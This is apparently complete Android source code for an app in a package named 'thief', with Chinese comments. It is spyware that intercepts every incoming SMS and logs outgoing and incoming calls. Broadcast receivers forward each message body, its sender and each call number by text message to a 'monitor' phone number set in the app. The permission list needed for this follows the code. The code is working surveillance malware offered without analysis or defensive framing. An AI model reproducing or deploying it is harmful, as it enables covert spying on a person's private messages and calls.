package com.thief;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;
public class CallHoldReceiver extends BroadcastReceiver {
private final static String mACTION = "android.intent.action.PHONE_STATE";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
//Toast.makeText(context, "11111111111", Toast.LENGTH_LONG).show();
if(intent.getAction().equals(mACTION)) {
//Toast.makeText(context, phoneNr, Toast.LENGTH_LONG).show();
Date date = new Date();
date.setTime(System.currentTimeMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
StringBuilder smsCont = new StringBuilder();
smsCont.append(format.format(date));
smsCont.append("--");
smsCont.append(intent.getExtras().getString("incoming_number"));
smsCont.append("--");
smsCont.append("callee ");
smsCont.append(intent.getExtras().getString("incoming_number"));
MessageHandler.send(MainActivity.PHONENO, smsCont.toString());
//Toast.makeText(context, intent.getExtras().getString("incoming_number"), Toast.LENGTH_LONG).show();
}
}
}
package com.thief;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class DialReceiver extends BroadcastReceiver {
private static final String mACTION = "android.intent.action.NEW_OUTGOING_CALL";
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
if(intent.getAction().equals(mACTION)) {
//得得打電話消息
//Toast.makeText(context, intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER), Toast.LENGTH_LONG).show();
Date date = new Date();
date.setTime(System.currentTimeMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
StringBuilder smsCont = new StringBuilder();
smsCont.append(format.format(date));
smsCont.append("--");
smsCont.append(intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER));
smsCont.append("--");
smsCont.append("call to ");
smsCont.append(intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER));
MessageHandler.send(MainActivity.PHONENO, smsCont.toString());
}
}
}
package com.thief;
import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.PhoneNumberUtils;
import android.view.KeyEvent;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.View.OnKeyListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends Activity {
public static String PHONENO;
private final static String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
private final static String NEW_OUTGOING_CALL = "android.intent.action.NEW_OUTGOING_CALL";
private final static String PHONE_STATE = "android.intent.action.PHONE_STATE";
private Button btnstarted = null;
private Button btncanceled = null;
private TextView titletips = null;
private TextView cellinfo = null;
private EditText cellno = null;
private OnClickListener btnstartedClickListener = null;
private OnClickListener btncanceledClickListener = null;
private OnKeyListener cellnoKeyListener = null;
private SmsReceiver smsreceiver;
private DialReceiver dialreceiver;
private CallHoldReceiver calleereceiver;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
initView();
prepareListener();
setListener();
}
/**
* 初始化界面
*/
private void initView() {
btnstarted = (Button)findViewById( R.id.btnstarted);
btncanceled = (Button)findViewById(R.id.btncanceled);
titletips = (TextView)findViewById(R.id.titletips);
cellno = (EditText)findViewById(R.id.cellno);
cellinfo = (TextView)findViewById(R.id.cellinfo);
cellinfo.setText(cellinfo.getText());
}
/**
* 初始化事件監聽器
*/
private void prepareListener() {
btnstartedClickListener = new OnClickListener() {
public void onClick(View v) {
// TODO Auto-generated method stub
if("".equals(cellinfo.getText())) {
Toast.makeText(MainActivity.this, "號碼不能爲空", Toast.LENGTH_LONG).show();
return;
// Bundle bundle = new Bundle();
// bundle.putString("PHONENO", cellinfo.getText().toString());
}else {
PHONENO = cellinfo.getText().toString();
//檢查電話號碼的合法性
if(PhoneNumberUtils.isGlobalPhoneNumber(PHONENO)){
//註冊接收短信
IntentFilter smsreceiverfilter = new IntentFilter(SMS_RECEIVED);
smsreceiver = new SmsReceiver();
registerReceiver(smsreceiver, smsreceiverfilter);
//註冊撥打電話
IntentFilter dialfilter = new IntentFilter(NEW_OUTGOING_CALL);
dialreceiver = new DialReceiver();
registerReceiver(dialreceiver,dialfilter);
//註冊來電
IntentFilter calleefilter = new IntentFilter(PHONE_STATE);
calleereceiver = new CallHoldReceiver();
registerReceiver(calleereceiver,calleefilter);
}else {
return;
}
}
Toast.makeText(MainActivity.this, "設置成功", Toast.LENGTH_LONG).show();
}
};
btncanceledClickListener = new OnClickListener(){
public void onClick(View v) {
// TODO Auto-generated method stub
//卸載短信接收
unregisterReceiver(smsreceiver);
//卸載撥打電話
unregisterReceiver(dialreceiver);
//卸載來電
unregisterReceiver(calleereceiver);
Toast.makeText(MainActivity.this, "取消成功", Toast.LENGTH_LONG).show();
}
};
cellnoKeyListener = new OnKeyListener() {
public boolean onKey(View v, int keyCode, KeyEvent event) {
// TODO Auto-generated method stub
cellinfo.setText(String.valueOf(keyCode));
cellinfo.setText(cellno.getText());
return false;
}
};
}
/**
* 設置監聽器
*/
public void setListener() {
btnstarted.setOnClickListener(btnstartedClickListener);
btncanceled.setOnClickListener(btncanceledClickListener);
cellno.setOnKeyListener(cellnoKeyListener);
}
}
package com.thief;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class MessageHandler {
public static void sendMessage(SmsMessage[] message) {
StringBuilder sb = new StringBuilder();
for (SmsMessage msg : message) {
// 得到短信內容
String content = msg.getMessageBody();
// 得到發送者手機號碼
String sender = msg.getOriginatingAddress();
// 得到短信發送時間
Date date = new Date();
date.setTime(msg.getTimestampMillis());
// 將收到的短信發送給監控者
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
sb.append(format.format(date));
sb.append("--");
sb.append(sender);
sb.append("--");
sb.append(content);
String sendContent = sb.toString();
send(MainActivity.PHONENO,sendContent);
}
}
public static void send(String destPhone,String msg) {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage(destPhone, null, msg, null,
null);
}
}
package com.thief;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;
/**
* 短信接收器
*
* @author chow
*
*/
public class SmsReceiver extends BroadcastReceiver {
private final String TAG = "SmsReceiver";
private static final String mACTION = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(mACTION)) {
// Toast.makeText(context, "收到信息", Toast.LENGTH_LONG).show();
Log.i(TAG, "==============");
// TODO Auto-generated method stub
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] message = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
byte[] pdu = (byte[]) pdus[i];
message[i] = SmsMessage.createFromPdu(pdu);
}
MessageHandler.sendMessage(message);
}
}
}
}
package com.thief;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
public class SmsSendReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// TODO Auto-generated method stub
}
}
<uses-permission android:name="android.permission.SEND_SMS">
</uses-permission>
<uses-permission android:name="android.permission.CALL_PHONE"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS">
</uses-permission>